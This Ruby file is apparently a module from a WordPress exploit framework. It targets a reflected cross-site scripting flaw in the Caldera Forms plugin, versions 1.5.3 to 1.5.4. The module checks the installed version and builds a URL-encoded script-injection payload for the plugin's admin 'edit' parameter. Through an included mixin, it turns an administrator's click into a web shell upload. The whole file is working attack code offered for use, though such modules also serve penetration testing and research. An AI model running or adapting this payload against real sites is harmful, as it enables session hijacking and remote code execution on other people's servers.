# frozen_string_literal: true

class Wpxf::Exploit::CalderaFormsV154XssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'Caldera Forms 1.5.3 to 1.5.4 Reflected XSS Shell Upload',
      author: [
        'Will Brand', # Dislosure
        'rastating'   # WPXF module
      ],
      references: [
        ['WPVDB', '8940']
      ],
      date: 'Sep 08 2017'
    )
  end

  def check
    check_plugin_version_from_readme('caldera-forms', '1.5.5', '1.5.3')
  end

  def xss_payload
    url_encode("\"><script>#{xss_ascii_encoded_include_script}</script>")
  end

  def url_with_xss
    "#{wordpress_url_admin_options}?page=caldera-forms&edit=#{xss_payload}"
  end
end
